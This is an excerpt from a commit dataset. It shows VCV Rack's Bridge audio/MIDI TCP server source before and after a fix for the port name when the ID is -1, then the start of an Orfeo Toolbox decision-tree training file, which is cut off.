<sys\/socket.h>\n\t#include <netinet\/in.h>\n\t#include <arpa\/inet.h>\n\t#include <netinet\/tcp.h>\n\t#include <fcntl.h>\n#endif\n\n\n#include <thread>\n\n\nnamespace rack {\n\n\nstruct BridgeClientConnection;\nstatic BridgeClientConnection *connections[BRIDGE_NUM_PORTS] = {};\nstatic AudioIO *audioListeners[BRIDGE_NUM_PORTS] = {};\nstatic std::thread serverThread;\nstatic bool serverRunning = false;\nstatic BridgeMidiDriver *driver = NULL;\n\n\nstruct BridgeClientConnection {\n\tint client;\n\tbool ready = false;\n\n\tint port = -1;\n\tint sampleRate = 0;\n\n\t~BridgeClientConnection() {\n\t\tsetPort(-1);\n\t}\n\n\t\/** Returns true if successful *\/\n\tbool send(const void *buffer, int length) {\n\t\tif (length <= 0)\n\t\t\treturn false;\n\n#if ARCH_LIN\n\t\tint flags = MSG_NOSIGNAL;\n#else\n\t\tint flags = 0;\n#endif\n\t\tssize_t remaining = 0;\n\t\twhile (remaining < length) {\n\t\t\tssize_t actual = ::send(client, (const char*) buffer, length, flags);\n\t\t\tif (actual <= 0) {\n\t\t\t\tready = false;\n\t\t\t\treturn false;\n\t\t\t}\n\t\t\tremaining += actual;\n\t\t}\n\t\treturn true;\n\t}\n\n\ttemplate <typename T>\n\tbool send(T x) {\n\t\treturn send(&x, sizeof(x));\n\t}\n\n\t\/** Returns true if successful *\/\n\tbool recv(void *buffer, int length) {\n\t\tif (length <= 0)\n\t\t\treturn false;\n\n#if ARCH_LIN\n\t\tint flags = MSG_NOSIGNAL;\n#else\n\t\tint flags = 0;\n#endif\n\t\tssize_t remaining = 0;\n\t\twhile (remaining < length) {\n\t\t\tssize_t actual = ::recv(client, (char*) buffer + remaining, length - remaining, flags);\n\t\t\tif (actual <= 0) {\n\t\t\t\tready = false;\n\t\t\t\treturn false;\n\t\t\t}\n\t\t\tremaining += actual;\n\t\t}\n\t\treturn true;\n\t}\n\n\ttemplate <typename T>\n\tbool recv(T *x) {\n\t\treturn recv(x, sizeof(*x));\n\t}\n\n\tvoid flush() {\n\t\t\/\/ Turn off Nagle\n\t\tint flag = 1;\n\t\tsetsockopt(client, IPPROTO_TCP, TCP_NODELAY, (char*) &flag, sizeof(int));\n\t\t\/\/ Turn on Nagle\n\t\tflag = 0;\n\t\tsetsockopt(client, IPPROTO_TCP, TCP_NODELAY, (char*) &flag, sizeof(int));\n\t}\n\n\tvoid run() {\n\t\tinfo(\"Bridge client connected\");\n\n\t\t\/\/ Check hello key\n\t\tuint32_t hello = -1;\n\t\trecv<uint32_t>(&hello);\n\t\tif (hello != BRIDGE_HELLO) {\n\t\t\tinfo(\"Bridge client protocol mismatch %x %x\", hello, BRIDGE_HELLO);\n\t\t\treturn;\n\t\t}\n\n\t\t\/\/ Process commands until no longer ready\n\t\tready = true;\n\t\twhile (ready) {\n\t\t\tstep();\n\t\t}\n\n\t\tinfo(\"Bridge client closed\");\n\t}\n\n\t\/** Accepts a command from the client *\/\n\tvoid step() {\n\t\tuint8_t command;\n\t\tif (!recv<uint8_t>(&command)) {\n\t\t\treturn;\n\t\t}\n\n\t\tswitch (command) {\n\t\t\tdefault:\n\t\t\tcase NO_COMMAND: {\n\t\t\t\twarn(\"Bridge client: bad command %d detected, closing\", command);\n\t\t\t\tready = false;\n\t\t\t} break;\n\n\t\t\tcase QUIT_COMMAND: {\n\t\t\t\tready = false;\n\t\t\t} break;\n\n\t\t\tcase PORT_SET_COMMAND: {\n\t\t\t\tuint8_t port = -1;\n\t\t\t\trecv<uint8_t>(&port);\n\t\t\t\tsetPort(port);\n\t\t\t} break;\n\n\t\t\tcase MIDI_MESSAGE_COMMAND: {\n\t\t\t\tMidiMessage message;\n\t\t\t\tif (!recv(&message, 3)) {\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t\tprocessMidi(message);\n\t\t\t} break;\n\n\t\t\tcase AUDIO_SAMPLE_RATE_SET_COMMAND: {\n\t\t\t\tuint32_t sampleRate = 0;\n\t\t\t\trecv<uint32_t>(&sampleRate);\n\t\t\t\tsetSampleRate(sampleRate);\n\t\t\t} break;\n\n\t\t\tcase AUDIO_PROCESS_COMMAND: {\n\t\t\t\tuint32_t frames = 0;\n\t\t\t\trecv<uint32_t>(&frames);\n\t\t\t\tif (frames == 0 || frames > (1<<16)) {\n\t\t\t\t\tready = false;\n\t\t\t\t\treturn;\n\t\t\t\t}\n\n\t\t\t\tfloat input[BRIDGE_INPUTS * frames];\n\t\t\t\tif (!recv(&input, BRIDGE_INPUTS * frames * sizeof(float))) {\n\t\t\t\t\tdebug(\"Failed to receive\");\n\t\t\t\t\treturn;\n\t\t\t\t}\n\n\t\t\t\tfloat output[BRIDGE_OUTPUTS * frames];\n\t\t\t\tmemset(&output, 0, sizeof(output));\n\t\t\t\tprocessStream(input, output, frames);\n\t\t\t\tif (!send(&output, BRIDGE_OUTPUTS * frames * sizeof(float))) {\n\t\t\t\t\tdebug(\"Failed to send\");\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t\t\/\/ flush();\n\t\t\t} break;\n\t\t}\n\t}\n\n\tvoid setPort(int port) {\n\t\t\/\/ Unbind from existing port\n\t\tif (0 <= this->port && connections[this->port] == this) {\n\t\t\tconnections[this->port] = NULL;\n\t\t}\n\n\t\t\/\/ Bind to new port\n\t\tif ((0 <= port && port < BRIDGE_NUM_PORTS) && !connections[port]) {\n\t\t\tthis->port = port;\n\t\t\tconnections[this->port] = this;\n\t\t\trefreshAudio();\n\t\t}\n\t\telse {\n\t\t\tthis->port = -1;\n\t\t}\n\t}\n\n\tvoid processMidi(MidiMessage message) {\n\t\tif (!(0 <= port && port < BRIDGE_NUM_PORTS))\n\t\t\treturn;\n\t\tif (!driver)\n\t\t\treturn;\n\t\tdriver->devices[port].onMessage(message);\n\t}\n\n\tvoid setSampleRate(int sampleRate) {\n\t\tthis->sampleRate = sampleRate;\n\t\trefreshAudio();\n\t}\n\n\tvoid processStream(const float *input, float *output, int frames) {\n\t\tif (!(0 <= port && port < BRIDGE_NUM_PORTS))\n\t\t\treturn;\n\t\tif (!audioListeners[port])\n\t\t\treturn;\n\t\taudioListeners[port]->setBlockSize(frames);\n\t\taudioListeners[port]->processStream(input, output, frames);\n\t}\n\n\tvoid refreshAudio() {\n\t\tif (!(0 <= port && port < BRIDGE_NUM_PORTS))\n\t\t\treturn;\n\t\tif (connections[port] != this)\n\t\t\treturn;\n\t\tif (!audioListeners[port])\n\t\t\treturn;\n\t\taudioListeners[port]->setSampleRate(sampleRate);\n\t}\n};\n\n\nstatic void clientRun(int client) {\n\tdefer({\n#if ARCH_WIN\n\t\tif (shutdown(client, SD_SEND)) {\n\t\t\twarn(\"Bridge client shutdown() failed\");\n\t\t}\n\t\tif (closesocket(client)) {\n\t\t\twarn(\"Bridge client closesocket() failed\");\n\t\t}\n#else\n\t\tif (close(client)) {\n\t\t\twarn(\"Bridge client close() failed\");\n\t\t}\n#endif\n\t});\n\n#if ARCH_MAC\n\t\/\/ Avoid SIGPIPE\n\tint flag = 1;\n\tif (setsockopt(client, SOL_SOCKET, SO_NOSIGPIPE, &flag, sizeof(int))) {\n\t\twarn(\"Bridge client setsockopt() failed\");\n\t\treturn;\n\t}\n#endif\n\n\t\/\/ Disable non-blocking\n#if ARCH_WIN\n\tunsigned long blockingMode = 0;\n\tif (ioctlsocket(client, FIONBIO, &blockingMode)) {\n\t\twarn(\"Bridge client ioctlsocket() failed\");\n\t\treturn;\n\t}\n#else\n\tif (fcntl(client, F_SETFL, fcntl(client, F_GETFL, 0) & ~O_NONBLOCK)) {\n\t\twarn(\"Bridge client fcntl() failed\");\n\t\treturn;\n\t}\n#endif\n\n\tBridgeClientConnection connection;\n\tconnection.client = client;\n\tconnection.run();\n}\n\n\nstatic void serverConnect() {\n\t\/\/ Initialize sockets\n#if ARCH_WIN\n\tWSADATA wsaData;\n\tif (WSAStartup(MAKEWORD(2, 2), &wsaData)) {\n\t\twarn(\"Bridge server WSAStartup() failed\");\n\t\treturn;\n\t}\n\tdefer({\n\t\tWSACleanup();\n\t});\n#endif\n\n\t\/\/ Get address\n\tstruct sockaddr_in addr;\n\tmemset(&addr, 0, sizeof(addr));\n\taddr.sin_family = AF_INET;\n\taddr.sin_port = htons(BRIDGE_PORT);\n#if ARCH_WIN\n\taddr.sin_addr.s_addr = inet_addr(BRIDGE_HOST);\n#else\n\tinet_pton(AF_INET, BRIDGE_HOST, &addr.sin_addr);\n#endif\n\n\t\/\/ Open socket\n\tint server = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);\n\tif (server < 0) {\n\t\twarn(\"Bridge server socket() failed\");\n\t\treturn;\n\t}\n\tdefer({\n\t\tif (close(server)) {\n\t\t\twarn(\"Bridge server close() failed\");\n\t\t\treturn;\n\t\t}\n\t\tinfo(\"Bridge server closed\");\n\t});\n\n#if ARCH_MAC || ARCH_LIN\n\tint reuseAddrFlag = 1;\n\tsetsockopt(server, SOL_SOCKET, SO_REUSEADDR, &reuseAddrFlag, sizeof(reuseAddrFlag));\n#endif\n\n\t\/\/ Bind socket to address\n\tif (bind(server, (struct sockaddr*) &addr, sizeof(addr))) {\n\t\twarn(\"Bridge server bind() failed\");\n\t\treturn;\n\t}\n\n\t\/\/ Listen for clients\n\tif (listen(server, 20)) {\n\t\twarn(\"Bridge server listen() failed\");\n\t\treturn;\n\t}\n\tinfo(\"Bridge server started\");\n\n\t\/\/ Enable non-blocking\n#if ARCH_WIN\n\tunsigned long blockingMode = 1;\n\tif (ioctlsocket(server, FIONBIO, &blockingMode)) {\n\t\twarn(\"Bridge server ioctlsocket() failed\");\n\t\treturn;\n\t}\n#else\n\tint flags = fcntl(server, F_GETFL, 0);\n\tfcntl(server, F_SETFL, flags | O_NONBLOCK);\n#endif\n\n\t\/\/ Accept clients\n\twhile (serverRunning) {\n\t\tint client = accept(server, NULL, NULL);\n\t\tif (client < 0) {\n\t\t\t\/\/ Wait a bit before attempting to accept another client\n\t\t\tstd::this_thread::sleep_for(std::chrono::duration<double>(0.1));\n\t\t\tcontinue;\n\t\t}\n\n\t\t\/\/ Launch client thread\n\t\tstd::thread clientThread(clientRun, client);\n\t\tclientThread.detach();\n\t}\n}\n\nstatic void serverRun() {\n\twhile (serverRunning) {\n\t\tstd::this_thread::sleep_for(std::chrono::duration<double>(0.1));\n\t\tserverConnect();\n\t}\n}\n\n\nstd::vector<int> BridgeMidiDriver::getInputDeviceIds() {\n\tstd::vector<int> deviceIds;\n\tfor (int i = 0; i < 16; i++) {\n\t\tdeviceIds.push_back(i);\n\t}\n\treturn deviceIds;\n}\n\nstd::string BridgeMidiDriver::getInputDeviceName(int deviceId) {\n\treturn stringf(\"Port %d\", deviceId + 1);\n}\n\nMidiInputDevice *BridgeMidiDriver::subscribeInputDevice(int deviceId, MidiInput *midiInput) {\n\tif (!(0 <= deviceId && deviceId < 16))\n\t\treturn NULL;\n\n\tdevices[deviceId].subscribe(midiInput);\n\treturn &devices[deviceId];\n}\n\nvoid BridgeMidiDriver::unsubscribeInputDevice(int deviceId, MidiInput *midiInput) {\n\tif (!(0 <= deviceId && deviceId < 16))\n\t\treturn;\n\n\tdevices[deviceId].unsubscribe(midiInput);\n}\n\n\nvoid bridgeInit() {\n\tserverRunning = true;\n\tserverThread = std::thread(serverRun);\n\n\tdriver = new BridgeMidiDriver();\n\tmidiDriverAdd(BRIDGE_DRIVER, driver);\n}\n\nvoid bridgeDestroy() {\n\tserverRunning = false;\n\tserverThread.join();\n}\n\nvoid bridgeAudioSubscribe(int port, AudioIO *audio) {\n\tif (!(0 <= port && port < BRIDGE_NUM_PORTS))\n\t\treturn;\n\t\/\/ Check if an Audio is already subscribed on the port\n\tif (audioListeners[port])\n\t\treturn;\n\taudioListeners[port] = audio;\n\tif (connections[port])\n\t\tconnections[port]->refreshAudio();\n}\n\nvoid bridgeAudioUnsubscribe(int port, AudioIO *audio) {\n\tif (!(0 <= port && port < BRIDGE_NUM_PORTS))\n\t\treturn;\n\tif (audioListeners[port] != audio)\n\t\treturn;\n\taudioListeners[port] = NULL;\n}\n\n\n} \/\/ namespace rack\n<commit_msg>Fix Bridge port name for ID=-1<commit_after>#include \"bridge.hpp\"\n#include \"util\/common.hpp\"\n#include \"dsp\/ringbuffer.hpp\"\n\n#include <unistd.h>\n#if ARCH_WIN\n\t#include <winsock2.h>\n#else\n\t#include <sys\/socket.h>\n\t#include <netinet\/in.h>\n\t#include <arpa\/inet.h>\n\t#include <netinet\/tcp.h>\n\t#include <fcntl.h>\n#endif\n\n\n#include <thread>\n\n\nnamespace rack {\n\n\nstruct BridgeClientConnection;\nstatic BridgeClientConnection *connections[BRIDGE_NUM_PORTS] = {};\nstatic AudioIO *audioListeners[BRIDGE_NUM_PORTS] = {};\nstatic std::thread serverThread;\nstatic bool serverRunning = false;\nstatic BridgeMidiDriver *driver = NULL;\n\n\nstruct BridgeClientConnection {\n\tint client;\n\tbool ready = false;\n\n\tint port = -1;\n\tint sampleRate = 0;\n\n\t~BridgeClientConnection() {\n\t\tsetPort(-1);\n\t}\n\n\t\/** Returns true if successful *\/\n\tbool send(const void *buffer, int length) {\n\t\tif (length <= 0)\n\t\t\treturn false;\n\n#if ARCH_LIN\n\t\tint flags = MSG_NOSIGNAL;\n#else\n\t\tint flags = 0;\n#endif\n\t\tssize_t remaining = 0;\n\t\twhile (remaining < length) {\n\t\t\tssize_t actual = ::send(client, (const char*) buffer, length, flags);\n\t\t\tif (actual <= 0) {\n\t\t\t\tready = false;\n\t\t\t\treturn false;\n\t\t\t}\n\t\t\tremaining += actual;\n\t\t}\n\t\treturn true;\n\t}\n\n\ttemplate <typename T>\n\tbool send(T x) {\n\t\treturn send(&x, sizeof(x));\n\t}\n\n\t\/** Returns true if successful *\/\n\tbool recv(void *buffer, int length) {\n\t\tif (length <= 0)\n\t\t\treturn false;\n\n#if ARCH_LIN\n\t\tint flags = MSG_NOSIGNAL;\n#else\n\t\tint flags = 0;\n#endif\n\t\tssize_t remaining = 0;\n\t\twhile (remaining < length) {\n\t\t\tssize_t actual = ::recv(client, (char*) buffer + remaining, length - remaining, flags);\n\t\t\tif (actual <= 0) {\n\t\t\t\tready = false;\n\t\t\t\treturn false;\n\t\t\t}\n\t\t\tremaining += actual;\n\t\t}\n\t\treturn true;\n\t}\n\n\ttemplate <typename T>\n\tbool recv(T *x) {\n\t\treturn recv(x, sizeof(*x));\n\t}\n\n\tvoid flush() {\n\t\t\/\/ Turn off Nagle\n\t\tint flag = 1;\n\t\tsetsockopt(client, IPPROTO_TCP, TCP_NODELAY, (char*) &flag, sizeof(int));\n\t\t\/\/ Turn on Nagle\n\t\tflag = 0;\n\t\tsetsockopt(client, IPPROTO_TCP, TCP_NODELAY, (char*) &flag, sizeof(int));\n\t}\n\n\tvoid run() {\n\t\tinfo(\"Bridge client connected\");\n\n\t\t\/\/ Check hello key\n\t\tuint32_t hello = -1;\n\t\trecv<uint32_t>(&hello);\n\t\tif (hello != BRIDGE_HELLO) {\n\t\t\tinfo(\"Bridge client protocol mismatch %x %x\", hello, BRIDGE_HELLO);\n\t\t\treturn;\n\t\t}\n\n\t\t\/\/ Process commands until no longer ready\n\t\tready = true;\n\t\twhile (ready) {\n\t\t\tstep();\n\t\t}\n\n\t\tinfo(\"Bridge client closed\");\n\t}\n\n\t\/** Accepts a command from the client *\/\n\tvoid step() {\n\t\tuint8_t command;\n\t\tif (!recv<uint8_t>(&command)) {\n\t\t\treturn;\n\t\t}\n\n\t\tswitch (command) {\n\t\t\tdefault:\n\t\t\tcase NO_COMMAND: {\n\t\t\t\twarn(\"Bridge client: bad command %d detected, closing\", command);\n\t\t\t\tready = false;\n\t\t\t} break;\n\n\t\t\tcase QUIT_COMMAND: {\n\t\t\t\tready = false;\n\t\t\t} break;\n\n\t\t\tcase PORT_SET_COMMAND: {\n\t\t\t\tuint8_t port = -1;\n\t\t\t\trecv<uint8_t>(&port);\n\t\t\t\tsetPort(port);\n\t\t\t} break;\n\n\t\t\tcase MIDI_MESSAGE_COMMAND: {\n\t\t\t\tMidiMessage message;\n\t\t\t\tif (!recv(&message, 3)) {\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t\tprocessMidi(message);\n\t\t\t} break;\n\n\t\t\tcase AUDIO_SAMPLE_RATE_SET_COMMAND: {\n\t\t\t\tuint32_t sampleRate = 0;\n\t\t\t\trecv<uint32_t>(&sampleRate);\n\t\t\t\tsetSampleRate(sampleRate);\n\t\t\t} break;\n\n\t\t\tcase AUDIO_PROCESS_COMMAND: {\n\t\t\t\tuint32_t frames = 0;\n\t\t\t\trecv<uint32_t>(&frames);\n\t\t\t\tif (frames == 0 || frames > (1<<16)) {\n\t\t\t\t\tready = false;\n\t\t\t\t\treturn;\n\t\t\t\t}\n\n\t\t\t\tfloat input[BRIDGE_INPUTS * frames];\n\t\t\t\tif (!recv(&input, BRIDGE_INPUTS * frames * sizeof(float))) {\n\t\t\t\t\tdebug(\"Failed to receive\");\n\t\t\t\t\treturn;\n\t\t\t\t}\n\n\t\t\t\tfloat output[BRIDGE_OUTPUTS * frames];\n\t\t\t\tmemset(&output, 0, sizeof(output));\n\t\t\t\tprocessStream(input, output, frames);\n\t\t\t\tif (!send(&output, BRIDGE_OUTPUTS * frames * sizeof(float))) {\n\t\t\t\t\tdebug(\"Failed to send\");\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t\t\/\/ flush();\n\t\t\t} break;\n\t\t}\n\t}\n\n\tvoid setPort(int port) {\n\t\t\/\/ Unbind from existing port\n\t\tif (0 <= this->port && connections[this->port] == this) {\n\t\t\tconnections[this->port] = NULL;\n\t\t}\n\n\t\t\/\/ Bind to new port\n\t\tif ((0 <= port && port < BRIDGE_NUM_PORTS) && !connections[port]) {\n\t\t\tthis->port = port;\n\t\t\tconnections[this->port] = this;\n\t\t\trefreshAudio();\n\t\t}\n\t\telse {\n\t\t\tthis->port = -1;\n\t\t}\n\t}\n\n\tvoid processMidi(MidiMessage message) {\n\t\tif (!(0 <= port && port < BRIDGE_NUM_PORTS))\n\t\t\treturn;\n\t\tif (!driver)\n\t\t\treturn;\n\t\tdriver->devices[port].onMessage(message);\n\t}\n\n\tvoid setSampleRate(int sampleRate) {\n\t\tthis->sampleRate = sampleRate;\n\t\trefreshAudio();\n\t}\n\n\tvoid processStream(const float *input, float *output, int frames) {\n\t\tif (!(0 <= port && port < BRIDGE_NUM_PORTS))\n\t\t\treturn;\n\t\tif (!audioListeners[port])\n\t\t\treturn;\n\t\taudioListeners[port]->setBlockSize(frames);\n\t\taudioListeners[port]->processStream(input, output, frames);\n\t}\n\n\tvoid refreshAudio() {\n\t\tif (!(0 <= port && port < BRIDGE_NUM_PORTS))\n\t\t\treturn;\n\t\tif (connections[port] != this)\n\t\t\treturn;\n\t\tif (!audioListeners[port])\n\t\t\treturn;\n\t\taudioListeners[port]->setSampleRate(sampleRate);\n\t}\n};\n\n\nstatic void clientRun(int client) {\n\tdefer({\n#if ARCH_WIN\n\t\tif (shutdown(client, SD_SEND)) {\n\t\t\twarn(\"Bridge client shutdown() failed\");\n\t\t}\n\t\tif (closesocket(client)) {\n\t\t\twarn(\"Bridge client closesocket() failed\");\n\t\t}\n#else\n\t\tif (close(client)) {\n\t\t\twarn(\"Bridge client close() failed\");\n\t\t}\n#endif\n\t});\n\n#if ARCH_MAC\n\t\/\/ Avoid SIGPIPE\n\tint flag = 1;\n\tif (setsockopt(client, SOL_SOCKET, SO_NOSIGPIPE, &flag, sizeof(int))) {\n\t\twarn(\"Bridge client setsockopt() failed\");\n\t\treturn;\n\t}\n#endif\n\n\t\/\/ Disable non-blocking\n#if ARCH_WIN\n\tunsigned long blockingMode = 0;\n\tif (ioctlsocket(client, FIONBIO, &blockingMode)) {\n\t\twarn(\"Bridge client ioctlsocket() failed\");\n\t\treturn;\n\t}\n#else\n\tif (fcntl(client, F_SETFL, fcntl(client, F_GETFL, 0) & ~O_NONBLOCK)) {\n\t\twarn(\"Bridge client fcntl() failed\");\n\t\treturn;\n\t}\n#endif\n\n\tBridgeClientConnection connection;\n\tconnection.client = client;\n\tconnection.run();\n}\n\n\nstatic void serverConnect() {\n\t\/\/ Initialize sockets\n#if ARCH_WIN\n\tWSADATA wsaData;\n\tif (WSAStartup(MAKEWORD(2, 2), &wsaData)) {\n\t\twarn(\"Bridge server WSAStartup() failed\");\n\t\treturn;\n\t}\n\tdefer({\n\t\tWSACleanup();\n\t});\n#endif\n\n\t\/\/ Get address\n\tstruct sockaddr_in addr;\n\tmemset(&addr, 0, sizeof(addr));\n\taddr.sin_family = AF_INET;\n\taddr.sin_port = htons(BRIDGE_PORT);\n#if ARCH_WIN\n\taddr.sin_addr.s_addr = inet_addr(BRIDGE_HOST);\n#else\n\tinet_pton(AF_INET, BRIDGE_HOST, &addr.sin_addr);\n#endif\n\n\t\/\/ Open socket\n\tint server = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);\n\tif (server < 0) {\n\t\twarn(\"Bridge server socket() failed\");\n\t\treturn;\n\t}\n\tdefer({\n\t\tif (close(server)) {\n\t\t\twarn(\"Bridge server close() failed\");\n\t\t\treturn;\n\t\t}\n\t\tinfo(\"Bridge server closed\");\n\t});\n\n#if ARCH_MAC || ARCH_LIN\n\tint reuseAddrFlag = 1;\n\tsetsockopt(server, SOL_SOCKET, SO_REUSEADDR, &reuseAddrFlag, sizeof(reuseAddrFlag));\n#endif\n\n\t\/\/ Bind socket to address\n\tif (bind(server, (struct sockaddr*) &addr, sizeof(addr))) {\n\t\twarn(\"Bridge server bind() failed\");\n\t\treturn;\n\t}\n\n\t\/\/ Listen for clients\n\tif (listen(server, 20)) {\n\t\twarn(\"Bridge server listen() failed\");\n\t\treturn;\n\t}\n\tinfo(\"Bridge server started\");\n\n\t\/\/ Enable non-blocking\n#if ARCH_WIN\n\tunsigned long blockingMode = 1;\n\tif (ioctlsocket(server, FIONBIO, &blockingMode)) {\n\t\twarn(\"Bridge server ioctlsocket() failed\");\n\t\treturn;\n\t}\n#else\n\tint flags = fcntl(server, F_GETFL, 0);\n\tfcntl(server, F_SETFL, flags | O_NONBLOCK);\n#endif\n\n\t\/\/ Accept clients\n\twhile (serverRunning) {\n\t\tint client = accept(server, NULL, NULL);\n\t\tif (client < 0) {\n\t\t\t\/\/ Wait a bit before attempting to accept another client\n\t\t\tstd::this_thread::sleep_for(std::chrono::duration<double>(0.1));\n\t\t\tcontinue;\n\t\t}\n\n\t\t\/\/ Launch client thread\n\t\tstd::thread clientThread(clientRun, client);\n\t\tclientThread.detach();\n\t}\n}\n\nstatic void serverRun() {\n\twhile (serverRunning) {\n\t\tstd::this_thread::sleep_for(std::chrono::duration<double>(0.1));\n\t\tserverConnect();\n\t}\n}\n\n\nstd::vector<int> BridgeMidiDriver::getInputDeviceIds() {\n\tstd::vector<int> deviceIds;\n\tfor (int i = 0; i < 16; i++) {\n\t\tdeviceIds.push_back(i);\n\t}\n\treturn deviceIds;\n}\n\nstd::string BridgeMidiDriver::getInputDeviceName(int deviceId) {\n\tif (deviceId < 0)\n\t\treturn \"\";\n\treturn stringf(\"Port %d\", deviceId + 1);\n}\n\nMidiInputDevice *BridgeMidiDriver::subscribeInputDevice(int deviceId, MidiInput *midiInput) {\n\tif (!(0 <= deviceId && deviceId < 16))\n\t\treturn NULL;\n\n\tdevices[deviceId].subscribe(midiInput);\n\treturn &devices[deviceId];\n}\n\nvoid BridgeMidiDriver::unsubscribeInputDevice(int deviceId, MidiInput *midiInput) {\n\tif (!(0 <= deviceId && deviceId < 16))\n\t\treturn;\n\n\tdevices[deviceId].unsubscribe(midiInput);\n}\n\n\nvoid bridgeInit() {\n\tserverRunning = true;\n\tserverThread = std::thread(serverRun);\n\n\tdriver = new BridgeMidiDriver();\n\tmidiDriverAdd(BRIDGE_DRIVER, driver);\n}\n\nvoid bridgeDestroy() {\n\tserverRunning = false;\n\tserverThread.join();\n}\n\nvoid bridgeAudioSubscribe(int port, AudioIO *audio) {\n\tif (!(0 <= port && port < BRIDGE_NUM_PORTS))\n\t\treturn;\n\t\/\/ Check if an Audio is already subscribed on the port\n\tif (audioListeners[port])\n\t\treturn;\n\taudioListeners[port] = audio;\n\tif (connections[port])\n\t\tconnections[port]->refreshAudio();\n}\n\nvoid bridgeAudioUnsubscribe(int port, AudioIO *audio) {\n\tif (!(0 <= port && port < BRIDGE_NUM_PORTS))\n\t\treturn;\n\tif (audioListeners[port] != audio)\n\t\treturn;\n\taudioListeners[port] = NULL;\n}\n\n\n} \/\/ namespace rack\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright (C) 2005-2019 Centre National d'Etudes Spatiales (CNES)\n *\n * This file is part of Orfeo Toolbox\n *\n * https:\/\/www.orfeo-toolbox.org\/\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#ifndef otbTrainDecisionTree_hxx\n#define otbTrainDecisionTree_hxx\n#include \"otbLearningApplicationBase.h\"\n#include \"otbDecisionTreeMachineLearningModel.h\"\n\nnamespace otb\n{\nnamespace Wrapper\n{\n\ntemplate <class TInputValue, class TOutputValue>\nvoid\nLearningApplicationBase<TInputValue,TOutputValue>\n::InitDecisionTreeParams()\n{\n AddChoice(\"classifier.dt\", \"Decision Tree classifier\");\n SetParameterDescription(\"classifier.dt\",\n \"http:\/\/docs.opencv.org\/modules\/ml\/doc\/decision_trees.html\");\n \/\/MaxDepth\n AddParameter(ParameterType_Int, \"classifier.dt.max\", \"Maximum depth of the tree\");\n#ifdef OTB_OPENCV_3\n SetParameterInt(\"classifier.dt.max\",10);\n#else\n SetParameterInt(\"classifier.dt.max\",65535);\n#endif\n SetParameterDescription(\"classifier.dt.max\",\n \"The training algorithm attempts to split each node while its depth is smaller \"\n \"than the maximum possible depth of the tree. The actual depth may be smaller \"\n \"if the other termination criteria are met, and\/or if the tree is pruned.\");\n\n \/\/MinSampleCount\n AddParameter(ParameterType_Int, \"classifier.dt.min\", \"Minimum number of samples in each node\");\n SetParameterInt(\"classifier.dt.min\",10);\n SetParameterDescription(\"classifier.dt.min\",\n \"If the number of samples in a node is smaller \"\n \"than this parameter, then this node will not be split.\");\n\n \/\/RegressionAccuracy\n AddParameter(ParameterType_Float, \"classifier.dt.ra\", \"Termination criteria for regression tree\");\n SetParameterFloat(\"classifier.dt.ra\",0.01);\n SetParameterDescription(\"classifier.dt.ra\",\n \"If all absolute differences between an estimated value in a node \"\n \"and the values of the train samples in this node are smaller than this \"\n \"regression accuracy parameter, then the node will not be split further.\");\n\n \/\/UseSurrogates : don't need to be exposed !\n \/\/SetParameterDescription(\"classifier.dt.sur\",\"These splits allow working with missing data and compute variable importance correctly.\");\n\n \/\/MaxCategories\n AddParameter(ParameterType_Int, \"classifier.dt.cat\",\n \"Cluster possible values of a categorical variable into K <= cat clusters to find a \"\n \"suboptimal split\");\n SetParameterInt(\"classifier.dt.cat\",10);\n SetParameterDescription(\"classifier.dt.cat\",\n \"Cluster possible values of a categorical variable into K <= cat clusters to find a \"\n \"suboptimal split.\");\n\n \/\/CVFolds\n AddParameter(ParameterType_Int, \"classifier.dt.f\", \"K-fold cross-validations\");\n#ifdef OTB_OPENCV_3\n \/\/ disable cross validation by default (crash in opencv 3.2)\n SetParameterInt(\"classifier.dt.f\",0);\n#else\n SetParameterInt(\"classifier.dt.f\",10);\n#endif\n SetParameterDescription(\"classifier.dt.f\",\n \"If cv_folds > 1, then it prunes a tree with K-fold cross-validation where K \"\n \"is equal to cv_folds.\");\n\n \/\/Use1seRule\n AddParameter(ParameterType_Bool, \"classifier.dt.r\", \"Set Use1seRule flag to false\");\n SetParameterDescription(\"classifier.dt.r\",\n \"If true, then a pruning will be harsher. This will make a tree more compact and more \"\n \"resistant to the training data noise but a bit less accurate.\");\n\n \/\/TruncatePrunedTree\n AddParameter(ParameterType_Bool, \"classifier.dt.t\", \"Set TruncatePrunedTree flag to false\");\n SetParameterDescription(\"classifier.dt.t\",\n \"If true, then pruned branches are physically removed from the tree.\");\n\n \/\/Priors are not exposed.\n\n}\n\ntemplate <class TInputValue, class TOutputValue>\nvoid\nLearningApplicationBase<TInputValue,TOutputValue>\n::TrainDecisionTree(typename ListSampleType::Pointer trainingListSample,\n typename TargetListSampleType::Pointer trainingLabeledListSample,\n std::string modelPath)\n{\n typedef otb::DecisionTreeMachineLearningModel<InputValueType, OutputValueType> DecisionTreeType;\n typename DecisionTreeType::Pointer classifier = DecisionTreeType::New();\n classifier->SetRegressionMode(this->m_RegressionFlag);\n classifier->SetInputListSample(trainingListSample);\n classifier->SetTargetListSample(trainingLabeledListSample);\n classifier->SetMaxDepth(GetParameterInt(\"classifier.dt.max\"));\n classifier->SetMinSampleCount(GetParameterInt(\"classifier.dt.min\"));\n classifier->SetRegressionAccuracy(GetParameterFloat(\"classifier.dt.ra\"));\n classifier->SetMaxCategories(GetParameterInt(\"classifier.dt.cat\"));\n classifier->SetCVFolds(GetParameterInt(\"classifier.dt.f\"));\n if (GetParameterInt(\"classifier.dt.r\"))\n {\n classifier->SetUse1seRule(false);\n }\n if (GetParameterInt(\"classifier.dt.t\"))\n {\n classifier->SetTruncatePrunedTree(false);\n }\n classifier->Train();\n classifier->Save(modelPath);\n}\n\n} \/\/end namespace wrapper\n} \/\/end namespace otb\n\n#endif\n<commit_msg>BUG: don't 